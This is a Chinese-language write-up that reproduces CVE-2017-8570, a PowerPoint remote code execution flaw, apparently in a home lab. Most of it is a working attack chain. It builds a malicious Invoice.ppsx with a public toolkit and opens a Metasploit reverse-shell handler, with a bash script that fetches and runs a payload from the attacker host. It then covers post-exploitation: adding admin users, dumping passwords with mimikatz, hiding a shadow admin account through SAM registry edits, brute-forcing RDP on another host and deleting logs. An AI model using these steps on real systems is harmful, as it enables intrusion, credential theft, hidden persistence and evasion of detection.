CVE-2017-8570微软office漏洞复现与研究

CVE-2017-8570微软office漏洞复现与研究

微软office漏洞背景

微软Office系统软件(Word/Excel/PowerPoint等),一直是电脑上最为常用的办公软件之一,在国内外都拥有大量的用户。另一方面,利用Office系列软件的漏洞进行网络攻击已经成为黑客惯用的手段,广泛运用于APT攻击,抓肉鸡,传播勒索病毒等。其中一种典型的攻击方式是“鱼叉攻击”:黑客将包含漏洞的文档伪装成为一个正常的Office文档,并精心构造文件名,然后投递到用户邮箱,如果用户不小心打开文档,恶意代码便会悄悄执行,用户完全没有感知。
另外,随着新版本的Office不断发布,微软逐渐停止了对于老版本Office的技术支持,包括提供安全更新。2017 年10月,微软就正式停止了对 Office 2007的技术支持。这本是软件生命周期中不可避免的事情,但对于使用Office 软件的用户来说,除非升级到更新的版本,否则将面临被黑客攻击的风险。然而,事实上目前仍有大量的用户选择不升级,而是继续使用老版本的Office软件。

CVE-2017-8570简介

CVE-2017-8570是一个PowerPoint演示文稿的漏洞,利用方法简单且危害较大。攻击者只需要将生成的恶意ppsx(ppsx是office2007版以后的演示文稿的保存格式)文档发送给用户,用户打开放映后就会中招。
其成因是Microsof PowerPoint执行时会初始化“script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows script Component)文件。攻击这可以欺骗用户运行含有该漏洞的PPT文件导致获取和当前登录用户相同的执行权限。
Office一直是主流的办公软件,CVE-2017-8570这个漏洞影响office所有发行版本,当用户不经意点击了我们的恶意PPSX文件,那么我们就可以直接获取到他的用户权限,可以看到危害性十分高。

含有漏洞的office版本

Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)

漏洞原理及其成因

该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint执行时会初始化Script Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows Script Component)文件。攻击者可以欺骗用户运行含有该漏洞的PPT文件,导致获取和当前登录用户相同的代码执行权限。

搭建环境

1)攻击机
系统:kali IP:172.16.44.247
2)目标机(内网)
虚拟机1系统:Windows7 IP:192.168.1.129
虚拟机2系统:Windows7 IP:192.168.1.128
3.1.2 office环境
目标机(虚拟机1:192.168.1.129)采用Microsoft office Prefession 2010版本。
虚拟机2开放3389端口

过程简记(有缘再写)

打开kali,通过git clone命令将利用脚本下载下来
git clone https://github.com/tezukanice/Office8570.git

然后用ifconfig命令查看下kali的ip地址,ip为:192.168.1.212
进入脚本目录,执行以下命令,这里的192.168.1.212为攻击机ip

cd /var/Office8570
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.212/logo.doc
发现如下错误:

◆图2 执行生成恶意ppsx文件的脚本
刚好当前目录下有个template.ppsx,那么我们新建一个目录template,然后将template.ppsx放到template目录下,执行如下命令

mkdir template
mv template.ppsx template/template.ppsx
然后再执行:
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.212/logo.doc
成功生成恶意ppsx文件

◆图3 成功生成恶意ppsx文件
然后执行ls,可以看到当前目录下生成了一个ppsx文件Invoice.ppsx即是我们生成的恶意ppsx文件

3.2.4 msf配置监听
先输入msfconsole启动msf,然后依次输入以下命令(LHOST为攻击机ip,LPORT为要监听的端口)
use exploit/multi/handler
set LHOST 192.168.1.212
set LPORT 7777
set PAYLOAD windows/x64/meterpreter/reverse_tcp
如果是x86的系统,将上面语句替换为如下语句:
set PAYLOAD windows/meterpterter/reserver_tcp
Exploit

此外,这里通过脚本auto实现生成恶意文件和配置msf:

attack_ip=”172.20.10.2”
LPORT=”6666”
DIR=”/var/cve2017”

if [ -d ${DIR} ]; then
rm -rf ${DIR}
mkdir ${DIR}
else
mkdir ${DIR}
fi
cd $DIR
git clone https://github.com/tezukanice/Office8570.git
cd Office8570
mkdir template
mv template.ppsx template/template.ppsx
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://$attack_ip"/logo.doc
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${attack_ip} LPORT=${LPORT} -f exe > ${DIR}/shell.exe

gnome-terminal -e “python cve-2017-8570_toolkit.py -M exp -e http://${attack_ip}/shell.exe -l ${DIR}/shell.exe”

service postgresql start
if [ -f “exp.rc” ]; then
rm “exp.rc”
fi
echo “use exploit/multi/handler”>>exp.rc
echo “set LHOST “$attack_ip>>exp.rc
echo “set LPORT “$LPORT>>exp.rc
echo “set PAYLOAD windows/x64/meterpreter/reverse_tcp”>>exp.rc
echo “exploit”>>exp.rc
gnome-terminal -e “msfconsole -r exp.rc”

3.3复现结果
3.3.1 传播ppsx至目标机
传送恶意的ppsx文件至目标机,并诱使目标机打开此文件
3.3.2 接收到反弹的shell
当用户打开恶意的ppsx文件后,我们就会接收到目标机回弹的一个meterpreter。

◆图5 成功得到meterpreter

4抓取管理员密码和权限维持
4.1 开启3389和新建用户
先在meterpreter中输入shell,进入用户cmd
shell
开3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
新建用户并将用户加入管理员组:
net user zhengchao 123456 /add
net localgroup administrators zhengchao /add

4.2 上传mimikatz,并抓取管理员密码
我们用刚才新建的用户hacker登录远程桌面。
IP为虚拟机1的IP。

◆图6
然后将mimikatz上传到目标机器,远程桌面可以直接复制粘贴。

◆图7
然后右击以管理员身份运行,依次输入如下两个命令:
privilege::debug
sekurlsa::logonpasswords
就可以抓到administrator用户的密码了

◆图8
4.2 通过影子账户来维持权限
远程登录administrator用户

在administrator的命令行下建立一个以$结尾的用户名:
net user sql$ sql123 /add
net localgroup administrators sql$ /add

这样的用户名在net user命令下是不可见的。
◆图9
我们还需要修改注册表让我们的账户在控制面板中也不可见:
开始菜单输入regedit

HKEY_LOCAL_MACHINE\SAM\SAM

右击权限
◆图10
选择完全控制,然后应用和确定

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\sql$

◆图11
记住这里的类型为0x3ec,然后找到对应的类型名称表项
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC

◆图12
然后找到administrator对应的类型名称表项,双击F,然后复制里面的内容

◆图13
然后清空3EC中F里面的内容,并将刚才复制的内容粘贴进去
然后分别右击导出以下两项为a.reg和b.reg
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\sql$
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC

然后在用administrator的shell删除sql$用户
net user sql$ /del
再双击刚才导出的那两个reg文件,影子账户就建好了
5 暴力破解3389端口攻击内网中其它机器
使用arp -a命令来得到内网中其它机器的ip地址

◆图14

这里选择ip为192.168.88.130的这台机器进行端口扫描
然后上传端口扫描工具进行扫描:

◆图15

发现开放了3389端口,那么我们可以先尝试下爆破3389弱口令
先上传暴力破解工具hydra,然后进入hydra目录打开命令行运行如下命令:
hydra.exe -l User.txt -P Password.txt 192.168.88.130 rdp

◆图16
成功爆破出虚拟机2密码为passw0rd
然后再通过远程桌面连接即可。
6痕迹清除
在远程连接的桌面运行
强制静默删除日志C:>del %WINDIR%*.log /a/s/q/f